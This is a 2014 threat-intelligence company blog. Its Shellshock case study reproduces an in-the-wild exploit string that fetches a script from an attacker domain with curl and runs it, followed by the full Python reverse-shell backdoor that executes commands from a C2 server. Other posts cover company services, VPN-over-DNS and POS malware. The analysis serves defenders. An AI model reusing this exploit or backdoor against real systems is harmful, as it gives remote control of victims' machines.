Saturday, October 11, 2014

Shellshock and FAQ

At least three times every week I get asked by someone "What's the difference between Wapack Labs and Red Sky Alliance?" "Who is your target customer?" "What product do we deliver?" "What's your distribution look like?"

So let's start here...

Wapack Labs is an intelligence, research and analysis company. We sell information.
  • Wapack Labs authors sources and sells intelligence, research and analysis. We deliver it in many forms, to many places... Red Sky Alliance/Beadwindow, the FS-ISAC, Subscriptions, OEM, Threat Recon, etc. We publish in PDF, STIX, HTML, CSV, and JSON.
Red Sky Alliance is a crowdsourcing platform for cyber threat intelligence pro's. Discussions are deep, and at the end of the thread, they receive a finished report with analysis of the discussion.  
  • Security researchers go to Red Sky Alliance to share notes, build the story, and together, protect their networks. What happens in Red Sky Alliance, stays in Red Sky Alliance. It's private. There's no government involvement. We don't care how you interact with DSS, the regulators, or any other government organization --that's your choice. Red Sky Alliance exists to help improve your security. The private portal is ALWAYS busy. We've added university users, and just this week, another Icelandic bank.
  • For government security researchers we offer a second collaborative... Beadwindow --delivered in Threat Connect. They do not get access to the Red Sky private portal, but they do get information that they may care about. We've delivered cyber warnings, dumped credential caches and targeting, to several government agencies directly, and for others, we push stuff through Beadwindow to contacts at the 24th AF and the US MDA. None of the US Cyber Centers participate, so if you're a state, local or .gov who needs help, call us. We can help. And our stuff is UNCLASSIFIED! You can actually use it!
As an example of one of our reports, I've posted (below) a snippet from a Wapack Labs report to Red Sky Alliance members and Wapack Labs subscribers...

We published this report in it's entirety last week.

We took a bit of a different approach on what seemed to be the hottest topic of the last two weeks - Shellshock. (Need information on Shellshock? Try here.)

We're looking for use cases where we might help protect against. This is one of three case studies that we'd identified, taking advantage of Shellshock. 

You'll see quickly that it's written for technically focused defenders. If you're a SOC analyst, incident responder, or intrusion analyst, this is for you. We have others for managers and the C-Suite, but this report is lower level. We show all of our work and sources. When done, it's gets published as a PDF in whole, and (if sourced by Wapack Labs) farmed for Threat Recon.

So if you're a techie, enjoy. If you're a manager, ask your techie what it means ;) 

SHELLSHOCK CASE STUDY AND INFRASTRUCTURE

Beginning on 24 September 2014, hackers and researchers began exploiting the widely publicized Shellshock bash vulnerability, described in CVE -2014-6271.  The majority of the initial activity involved mass vulnerability scanning by white hats and black hats alike. Examination of scanning activity showed a peak on September 27th with a sharp decline as of September29th . This spike and sudden decrease may be a result of what is likely wide-scale patching of the vulnerability. Alternatively, this may mark the end of exploiting the vulnerability for reconnaissance purposes and could signal a move up the kill-chain into more targeted operations.

Legacy Scamming infrastructure re-emerges with Shellshock

A recently observed instance of Shellshock in the wild took the form of a Python implemented backdoor hosted on google-traffic-analytics.com. Table 5 lists the observed originating IPs along with the Shellshock request:

Originating IPs
Shellshock Request
14.163.12.119
77.29.189.34
78.15.20.81
78.161.195.166
79.136.130.110
88.253.229.151
93.139.212.67
109.227.100.189
112.156.18.40
113.171.116.163
117.218.186.16
118.172.123.111
119.130.114.154
124.123.75.68
178.120.175.81
178.121.79.68
190.49.241.220
190.82.114.190
223.206.54.26
 () { :;}; /bin/bash -c '/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tm
!/usr/bin/env python


from socket import *
import os
from time import sleep
import sys


fpid = os.fork()

if fpid!=0:

    host='stats.google-traffic-analytics.com'
    port=9091
    sockobj = None
    ############################################

    sockobj = None
    recv = False

    def connect():
        try:
            sockobj=socket(AF_INET,SOCK_STREAM)
            sockobj.connect((host,port))
            return sockobj
        except:
            return False


    while True:
        while not sockobj:
            sockobj = connect()
            print "[*] Trying to reconnect..."
            sleep(1)
            if sockobj:
                print "[+] Connected"

        recv = sockobj.recv(1024)
        #print recv
        if not recv: sockobj = False; break;
        cmd = recv.strip()
        res = os.popen(cmd).read()
        if res:
            sockobj.sendall(res)

Open source research on google-traffic-analytics.com only returned one previous hit from 2010. In August of 2010, Securi.net reported a wave of spam that affected more than 200K websites including many popular sites. Investigation of the activity revealed that they were all controlled by www.google-traffic-analytics.com. The blog reported that google-traffic-analytics.com leveraged the compromised sites as part of a widespread spamming infrastructure.

Legacy Whois Record
Current Record
Registrant Contact:
   Goga Gastoyan
   Goga Gastoyan Goga Gastoyan bash@blogbuddy.ru
   +7.4957452002 fax: +7.4957452002
   Pokryshkina d.36 kv.36
   Moscow Moscow 119602
   ru
 
Admin Name: Radovanka Janekovic
Admin Organization: Goga Gastoyan
Admin Street: Ljubljanska 6
Admin City: Bled
Admin State/Province: Bled
Admin Postal Code: 4260
Admin Country: SI
Admin Phone: +386.15765749
Admin Phone Ext:
Admin Fax: +386.15765749
Admin Fax Ext:
Admin Email: support@google-traffic-analytics.com
 

Table 5. google-traffic-analytics.com Scanning Nodes

Upon successful exploitation, a CURL request is made for http://google-traffic-analytics.com/cl.py. The Python script (cl.py) is a simple yet effective Backdoor that works on both Linux and Windows. It also has a zero detection on Virus Total [1]. The configured C2 address is hosted on subdomain stats.google-traffic-analytics.com. The downloaded python script will attempt connection C2 on port 9091 and if the C2 is listening  - a shell is opened up to the victim.

During testing, a the C2 node issued a uname –a command which prints all available information about a Linux system [2]. [Comment: No additional activity was observed.] (See Mitigations section for a SNORT signature)


The re-emergence of this domain after an apparent four year hiatus begs the question of whether it belongs to the same attackers. A Whois history report from Domain Tools lists the registrant during 2010 as “Goga Gastoyan”, (bash@blogbuddy.ru), however this changed in 2013 to the current owner “Radovanka Janekovic”. Further inspection of the records revealed Goga Gastoyan as the Admin organization in the new record – thus confirming likely attribution to the same attackers.  With the connection made to the legacy infrastructure, one could assume that this latest activity involving Shellshock could be the most recent attempt to expand the spamming network.
Table 6. Whois Record Comparison


[1] https://www.virustotal.com/en/file/052421011162421c7fbe1c9613e37b520a494034901dab1c6ee192466090421d/analysis/
[2] http://linux.about.com/library/cmd/blcmdl1_uname.htm
[3] http://blog.sucuri.net/2010/08/more-spam-google-traffic-analytics-com-cc-server.html






------------------------------------------------------

I realize this is pretty technical, but I thought it important to offer a simple slice of some of the work we do. This report is the basis for nearly everything else. These reports, when complete are farmed for placement in Threat Recon. This information, sourced by the lab, is thought to be high confidence (although we never score anything perfect!).

This week is again, crazy. I'm on the podium at 9:00 at the FS-ISAC conference, and we've got a heck of a topic. I'm looking forward to seeing you all there.

Have a great weekend!
Jeff

Saturday, September 27, 2014

Wapack weekly: Don't forget to patch for ShellShock... Kneeboards

Don't forget to patch for ShellShock. There's no shortage of information on the bug, so I'll not try and cover it here. But if you need a good overview, try this.

This week we tried something new. We created what I'm calling "kneeboards". A kneeboard is an easy to read intelligence and information pack that Navy Intel officers used to make for pilots.. they strap it to their knee during flight --fast and easy reference, written in non-intelligence speak. 

So we published four kneeboards this week - two page profiles of one APT group each. The feedback has been amazing. I passed one out at the ISC2 NH meeting that I spoke at on Tuesday night, coupled with a 30 minute threat brief talking about three incidents where the group had been involved. The feedback was amazing. Two pages, simple story, adding in a presentation and a place to get more information (indicators for the kneeboarded group can be found at Threat Recon).

BT BT

We're updating Threat Recon daily with new indicators. 

We've published credential (user name and password) dumps to members in Red Sky Alliance. If you're a member, check the list.

And we offered early warning to members who appeared in a target list obtained late last week. 

We'll keep publishing them.

I'm going to keep this week's blog short. It's probably the last 80 degree day we're going to have this year in New Hampshire, so I'm heading for Maine. Gonna spend the day at the beach.

Have a great weekend!
Jeff 


Saturday, September 20, 2014

Significant threat - VPN over DNS and Are Threat Intelligence organizations really dying off?

In 2012, Wapack Lab’s began examining the use of VPN-over-DNS and the potential risks of insiders and external users from applications used circumvent authentication mechanisms, introduce new applications (tools) into the environment, and exfiltrate sensitive information through DNS’s always-open port. We've provided reporting of possible VPNs running over DNS to literally several dozen companies. Wapack Labs continues to advise organizations to closely examine its DNS name registers for VPN-over-DNS entries and monitor its DNS traffic closely; and policies should be considered to disallow the use of this application. This week, we published a detailed report on the VPN-over-DNS tool.

Executive Summary 

VPN-over-DNS, is a free Android application available on the Google Play store, downloadable to both Android telephones and as a web-based application. It boasts fully integrated DNS Tunneling combined with several mail clients, and while some organizations allow this application, Wapack Labs believes it to be a significant counterintelligence threat to companies who both allow it, and companies who may not be aware of its use. 


VPN-over-DNS was first released to the Google play store on August 20th of 2012 by a French developer and is advertised as “data exfiltration, for those times when everything else is blocked.” VPN-over-DNS fully qualified domain names (FQDN) have been observed with passive DNS to resolve to a wide array of IP spaces including education, government, corporate, military, and even unassigned IP ranges. However, FQDNs resolving to an organization’s IP space may not be an indication that users within that IP space are actively using VPN-over-DNS, but rather VPN-over-DNS has been used in the past, and that the tunnel may still be available for use. Wapack Labs is providing this analysis because of widespread observation in the wild as well as situational awareness of an application with insider threat potential. 

The analysis, including mitigation strategies is available to Wapack Labs customers, including Red Sky Alliance members. 

BT BT

Are Threat Intelligence organizations really dying off?

I heard it three times this week. Threat intelligence shops integrating into the Security Operations Centers are being killed off because managers can't seem to show ROI.

Here's the dirty little secret... There's a model for this.. you should be able to actually track the cost of your intelligence process and make an informed make/buy decision on intelligence offerings as a service (like ours!). I'm sorry. I can't credit the source. I've worked on so many of these, but every one that I've worked on all look much the same. I start with a basic CMM maturity model and adapt it. It looks a bit like Figure 1. Click to enlarge.



Immature infosec teams are indiscriminate feeders when it comes to intelligence. They devour everything only to realize that much of what they ate might have been tin cans, steel belted radials, and general garbage. The good stuff that they actually needed, was somewhere in there, but that bad stuff really tastes bad. During this immature phase, operations drives intelligence. Incident response analysis is mistaken for intelligence, and open sources of information are consumed without regard for quality.

As the team moves up the maturing model, they start realizing that they want more data, better tools, and they start participating externally with smarter groups... The bird dog is training the bird dog. Now the costs REALLY go up. Learning lessons from their own environment becomes crucial, and analysis of internal data becomes key. The team finds more and more vulnerabilities, frustrating management. This costs money. The team is learning. During this phase, operations still drive intelligence, but the pendulum is beginning to swing the other way. The team starts hunting. They don't yet understand the concept of 'collecting against requirements' but they do have a standing set of information on which they maintain constant vigil...

And then it gets better. It's when the teams become mature. Collection requirements, EEIs, and scouring the landscape for new threats becomes the norm. Many teams realize the value of (select) home grown and open source tools, complimenting the COTs suite, and depending on the size of the team (I know BRILLIANT small teams that do very well!) they realize the value of intelligence in the SOC. When the team becomes an intelligence producer instead of an intelligence consumer. In fact it's almost magic. This is when intelligence feeds operations.

Closing in on maturity, the model should start to look like figure 2 (forgive the slide!):
So how do you know?

Measure it!... Intel should do a couple of things for you:

  • At the strategic level, intelligence gives executives (and your marketing team!) an idea of what's coming. The more you know, and the better you plot it out, the better you'll be.
  • Intel should help with the tactical.. Not only the "what's going to hurt me tomorrow" but more priority questions like "what is going to hurt me today?" Intel should compliment your SOC operation. The should know on a daily basis, what Intel thinks they should be protecting against... What's coming for us? What's coming for our industry? And what is everyone else seeing?
  • And... when you can show drops in reaction times as a result of intel, or perhaps, faster reaction times resulting from very typical intel techniques - tabletop exercises, formalized brainstorming, greybeard sessions, and white/blackhat sessions (note I didn't mention penetration or vulnerability testing??), you know you've arrived.

When you can show results like this... and your intelligence is fast turn, very actionable, and as right as it can be, you'll have no problems communicating the value of your team to upper management.

So start here...  if you're an immature team, and need to keep your costs low, join an open source group. Learn as much as you can. Bounce indicators off of Threat Recon (it's free to 1000 queries per month), and start looking for badness in your network. Need help? Call us.

On another note, I'm going to start posting as Wapack Labs instead of Red Sky Alliance. The portal is strong, but we've talked with a professional marketing guy who suggests we think about branding. Much of what I blog about falls outside of the information sharing construct. When we present, we talk of intelligence services and delivering it in many forms and in many forums --Red Sky Alliance, the FS-ISAC, through a community in Threat Connect (Beadwindow is on Threat Connect), and OEM'd (Threat Recon is available through ThreatQuotient). I'll be messaging from Wapack Labs from here out. Please use my Wapack Labs email account... jstutzman@wapacklabs.com.

Have a great weekend!
Jeff

Sunday, September 14, 2014

Threat Recon web interface is now live!

It's a big day!

When Harvard was built they waited until students created paths in the grass, to and from class, before they built the sidewalks. We developed the Threat Recon API first to see how it would be used. And today (moments ago), we launched its first web interface for single search queries! We'll build features as users request them.

Try it out for free for 1000 queries! threatrecon.co

Please provide feedback and feature requests to threatrecon@wapacklabs.com

Enjoy! Jeff

Saturday, September 13, 2014

Henrybasset's 'Red Sky Alliance' Blog: Red Sky Weekly: American Sanctions Dumps, Threat D...

Henrybasset's 'Red Sky Alliance' Blog: Red Sky Weekly: American Sanctions Dumps, Threat D...: I'm reading an underground carding forum where the cards (presumably) from the Home Depot breach are being sold. The card dumps are labeled "American Sanction Dump"...

Friday, September 5, 2014

Backdoor.KLGConfig: Malware analysis leads to widely used infrastructures, 500+ domains

Wapack Labs published (today) a deep-dive piece of analysis on a new piece of malware being leveraged in targeted cyber crime operations. 

Wapack Labs has dubbed the malware family Backdoor.KLGConfig. A variant of Backdoor.KLGConfig was also observed as specifically targeting credentials for a popular banking application used by many FIs. Follow on analysis exposed a wide criminal
infrastructure consisting of over 500 domains.

Get the indicators from Threat Recon with a "reference" search on FR14-023.

Check out our github for an example scripts:
https://github.com/dechko/threatrecon/blob/master/examples/simple_search_reference.py

Saturday, August 30, 2014

Monday, August 25, 2014

Wapack Labs Technical Analysis: VSkimmer and BlackPOS

Originally published on January 30, 2014, this analysis product was offered privately during the height of the Target breach. Over the weekend (August 2014), more reports followed of point of sale exploitation with BlackPOS. Several others have provided technical analysis of BlackPOS, but we've decided to openly post this analysis because of it's closeness to another builder "VSkimmer", and the need for a farmed indicator list.

This analysis is provided by Wapack Labs as part of an ongoing analysis of POS exploits in the wake of the recent widespread retailer breaches.

Please, enjoy!

Download the full report.

Executive Summary:

Automated tools are often times used by hackers to generate malware. This report summarizes two cracked Point of Sale (POS) “malware builders” obtained by Wapack Labs in January 2014. The first is identified as a VSkimmer variant and the second as BlackPOS. Both builders were cracked by French white-hat hacker Xylitol[1]. This report also provides protocol details and signatures for the analyzed specimens and the payloads generated by the respective builder kits.

Wapack Labs analyzed both builders in one report because of a common thread –they’re both weaponized using the same backdoor. It is possible that in both cases, this serves as an additional channel for acquiring stolen credit card data.




[1] http://www.itnews.com.au/News/356543,the-rise-of-the-white-hat-vigilante.aspx




Saturday, August 23, 2014

Henrybasset's 'Red Sky Alliance' Blog: Red Sky Weekly: Shocking!

Henrybasset's 'Red Sky Alliance' Blog: Red Sky Weekly: Shocking!: Author: Cuban political cartoonist  Antonio Prohías German intelligence spies on Americans and Turks ? Chinese Hackers targeting infor...

Friday, August 22, 2014

New API module for Wapack's ThreatRecon!

New API module for Wapack's ThreatRecon! Thanks to Seth Bromberger for writing Python module for our cyber threat intelligence system ThreatRecon.  You can download the module here: 



https://pypi.python.org/pypi/threatrecon


Thanks Seth!

Friday, August 15, 2014

Threat Recon 101 reminder

Hosting Threat Recon 101 via webinar today at 1:00 EST. Please register here.


If you use Virus Total, Domain Tools, or any of the other applications in analysis of cyber events, you're going to love Threat Recon. 

See you at 1!

Jeff

Wednesday, August 13, 2014

Threat Recon 101

All,

Thank you all very much for trying out our new offering, Threat Recon API. We know that documentation sometimes comes second, so I've asked Chris to do a short webinar, 30 minutes total including time for questions. If we need longer, we'll take it, but he'll cover Threat Recon 101 --using Python to work with the API, where to find the scripts, and what the terminology in our API actually means.. "What's the difference between direct and derived?" or "What exactly does the confidence level indicate?"

We're hosting Threat Recon 101 on Friday, 8/15/14 at 1:00 EST. The bridge information for the webinar is shown below. We're limited to 100 people on the bridge. It will be recorded, and if needed, we'll host another next week.

Hope to see you on the webinar! Instructions are shown below.

Thanks!
Jeff

=====================================================
Please register for Threat Recon 101 on Aug 15, 2014 1:00 PM EST at:

https://attendee.gotowebinar.com/register/7775049501651962370

For our new users, Chris Hall, Wapack Lab's lead technical analyst will present a short tutorial on accessing and using the Threat Recon API. After registering, you will receive a confirmation email containing information about joining the webinar.

Brought to you by GoToWebinar®
Webinars Made Easy®

Saturday, August 9, 2014

Thursday, August 7, 2014

CRITS and Threat Recon?

Great news! 



Maltego transforms have been in the GitHub since day one, and we considered that a major feat in early adoption, but now CRITS? 

For the uninitiated, CRITS (Collaborative Research into Threats) is an application built by Mitre to assist with analysis against cyber threats..  CRITs is used by cyber operators and analysts to tie malware campaigns actors and bots to webapp/mobile/social-network-site attack vectors.


The GitHub for the code can be found on MadVillian's Github at: https://github.com/crits/crits_services/tree/master/threatrecon_service

This is great news!  Thank you!